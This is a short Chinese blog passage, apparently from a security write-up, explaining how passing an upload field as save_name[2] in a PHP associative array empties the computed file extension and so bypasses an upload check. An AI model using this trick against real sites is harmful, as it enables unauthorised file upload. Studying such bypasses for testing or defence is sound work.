    补充关联数组知识点
    45817-6rl4sclktuo.png
    这里面最后echo为空的原因是没有$file[1]
    故此,我们构造时,后缀时save_name[2],则save_name数组个数还是两个。但是count-1变为了1,则为空
    该句子拼接为$file_name = reset($file) . '.';
    35036-8b3gmgckek2.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/402/
    最后修改时间:2022-03-23 18:35:26
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论
    与本文无关评论请发留言板。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    暂无评论